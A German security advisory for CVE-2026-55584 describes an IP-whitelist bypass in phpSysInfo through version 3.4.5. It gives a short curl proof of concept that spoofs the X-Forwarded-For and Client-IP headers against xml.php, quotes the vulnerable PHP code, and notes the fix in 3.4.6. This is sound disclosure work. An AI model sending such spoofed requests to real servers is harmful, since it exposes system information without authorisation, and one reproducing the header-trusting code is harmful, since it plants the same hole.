CVE-2026-55584 - phpSysInfo IP-Whitelist-Umgehung

CWE-290, CVSS 7.5 (High), phpSysInfo <= 3.4.5

Referenzen: GHSA-786w-p5pm-cvgh, CVE.org

PSI_ALLOWED löst die Client-IP aus den vom Angreifer kontrollierten Headern X-Forwarded-For (dann Client-IP) auf, bevor auf REMOTE_ADDR zurückgegriffen wird. Es gibt kein Konzept für vertrauenswürdige Proxys, daher umgeht das Vortäuschen einer erlaubten IP die Whitelist und legt vollständige Systeminformationen über xml.php offen.

PoC:

# Whitelist ist auf eine Adresse gesetzt, die der Angreifer nicht besitzt (ALLOWED=8.8.8.8)
curl -s http://target/xml.php                                # "Client-IP-Adresse (...) nicht erlaubt."
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php  # Umgehung, vollständiges XML
curl -s -H "Client-IP: 8.8.8.8"       http://target/xml.php  # Umgehung, vollständiges XML

Verwundbarer Code (read_config.php):

if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
    $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
    $ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
    $ip = $_SERVER["REMOTE_ADDR"];   // only trustworthy source, checked last
}

Behoben in 3.4.6 (019fa2d): Standardmäßig wird REMOTE_ADDR verwendet; X-Forwarded-For / Client-IP werden nur von konfigurierten vertrauenswürdigen Proxys berücksichtigt.

Gemeldet von Muhammed Mirac Kayıkci